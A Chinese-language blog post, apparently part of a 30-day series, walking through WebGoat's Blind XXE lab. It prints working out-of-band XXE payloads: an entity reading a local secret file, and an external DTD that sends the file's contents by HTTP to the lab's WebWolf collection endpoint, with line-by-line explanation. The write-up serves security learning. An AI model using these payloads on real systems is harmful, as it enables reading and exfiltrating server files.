iT邦幫忙

2026 iThome 鐵人賽

DAY 28
0

今天便要來把XXE的最後一題解完了,不得不說真的是大魔王,步驟雖然還算少但還是讓我debug了很久,而且做到我連自己其實已經成功了都不知道

什麼是Blind XXE?

Blind XXE是一種在無法直接看到伺服器回應時用的技巧

不同於之前的SQL Blind injection好歹會回傳能當布林值的資料或類布林值的回應來當判斷標準,Blind XXE時則沒有這樣的東西,所以要另尋他法

通常是使用OOB技術(Out of Band 帶外通道),讓受害者伺服器自己把資料傳送到攻擊者掌握的端點,這樣攻擊者就能看到資料內容了

Webgoat A5 XXE 號碼11(第3題)

https://ithelp.ithome.com.tw/upload/images/20261011/20184109sf4LwgDRvV.png

這關雖然已經說了要我們把資料傳送到WebWolf的指定端點,但我們還是先來用看看老方法
試著使用看看

<?xml version="1.0"?>
<!DOCTYPE comment [
<!ENTITY secret SYSTEM "file:////home/kali/.webgoat-2026.3/XXE/mingming/secret.txt">]>
<comment>  <text>&secret;</text></comment>

https://ithelp.ithome.com.tw/upload/images/20261011/201841099OdBGRQcGm.png

能看到雖然應該能讀取到檔案,但是要顯示到留言時被阻攔了
那我們就來用題目指定的方法吧
要使用這方法,我們需要有自己的端點(這題中已經幫我們準備好WebWolf了),還有一個dtd檔,用來讓伺服器知道要做什麼事

<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % giveme SYSTEM "file:///home/kali/.webgoat-2026.3/XXE/mingming/secret.txt">`
<!ENTITY % all "<!ENTITY send SYSTEM 'http://127.0.0.1:9090/WebWolf/landing?data=%giveme;'>">
%all;

讓我來說一下每行代碼為甚麼要這麼寫
<!ENTITY % giveme SYSTEM "file:///home/kali/.webgoat-2026.3/XXE/mingming/secret.txt">
由於XML中的拼接,組裝以及改變DTD結構只能使用參數實體(%),這一行就是叫XML讀取後面指定的資料,同時準備拿來拼裝

<!ENTITY % all "<!ENTITY send SYSTEM 'http://127.0.0.1:9090/WebWolf/landing?data=%giveme;'>">

這一行就很有趣了,是要讓伺服器對http://127.0.0.1:9090/WebWolf/landing?data=[giveme內容]的網站發出請求,但為甚麼不直接寫

<!ENTITY send SYSTEM 'http://127.0.0.1:9090/WebWolf/landing?data=%giveme;'>

而是把它包裝起來,讓 %all; 呼叫的時候再把正確的指令打出來呢?

因為如果不這麼做,解析器在讀取的時候會直接把 %giveme; 的資料塞進去,又因為資料內很有可能會有有換行符號或特殊字元,從而導致解析失敗報錯
所以我們要用

!<ENTITY % all "<!ENTITY send system '...'>">
%all;

這種包起來,下面再印出正確指令的方式,讓解析器幫我們在DTD中新增一個正確的結構,並在我們呼叫的時候再執行,就可以在不觸發解析錯誤的情況下執行我們要的指令

接著,把它命名成.dtd檔後上傳到我們的Webwolf準備被呼叫

https://ithelp.ithome.com.tw/upload/images/20261011/20184109YtVeTerEvZ.png

接下來,我們要來改封包,讓網頁能夠讀到我們的dtd檔並且執行指令了

<?xml version="1.0"?>
<!DOCTYPE comment [
<!ENTITY % blindxxe SYSTEM "http://127.0.0.1:9090/WebWolf/files/mingming/steal.dtd">
%blindxxe;
]>
<comment>  <text>&send;</text></comment>

<!ENTITY blindxxe SYSTEM "http://127.0.0.1:9090/WebWolf/files/mingming/steal.dtd"> %blindxxe;

這兩行指令就是用來讓XML讀取外部dtd,讓解析器知道後面的&send;要做甚麼
讓我們來執行看看

https://ithelp.ithome.com.tw/upload/images/20261011/20184109MGllAQZ2l3.png

好耶,至少沒有出現解析錯誤,但看起來還是沒通過這關啊?
但別忘了,請求發送到的Webwolf是我們掌握的端點,讓我們看看到底發生了什麼

https://ithelp.ithome.com.tw/upload/images/20261011/201841094ts0RzbwfC.png

能看到除了http://127.0.0.1:9090/WebWolf/landing?data=外,後面還多了一串
WebGoat%208.0%20rocks...%20(zAEQTmIpcG)
想必那就是secret.txt裡面的內容了,讓我們輸入到留言板看看

https://ithelp.ithome.com.tw/upload/images/20261011/20184109qSPexAmBKj.png

還是不對???
再仔細看看,怎麼有這麼多%20,而且我們剛剛是要求伺服器發出url請求......搞不好這是url編碼,%20就是空格?
把%20改成空格後試試看

https://ithelp.ithome.com.tw/upload/images/20261011/20184109Wdc0aed1sl.png

成功! 同時我們也能看一下secret.txt實際內容,當作驗證了

https://ithelp.ithome.com.tw/upload/images/20261011/20184109EDvRK5idWQ.png

能看到確實是
WebGoat 8.0 rocks... (zAEQTmIpcG)

偷偷說一下,當時看到那...我還以為是url太長被省略,還在想辦法怎麼取得完整的內容,沒想到那就真的只是... Orz

明日內容: Webgoat Security Misconfiguration防護


上一篇
[DAY27]仿生人是否會夢見網頁山羊? -- XXE (上)
下一篇
[DAY29]仿生人是否會夢見網頁山羊? -- CSRF, Security Misconfiguration, XXE 防護
系列文
仿生人是否會夢見網頁山羊? 資安小白的30天Webgoat闖關紀錄 共 30 篇
圖片
  熱門推薦
圖片
{{ item.channelVendor }} | {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言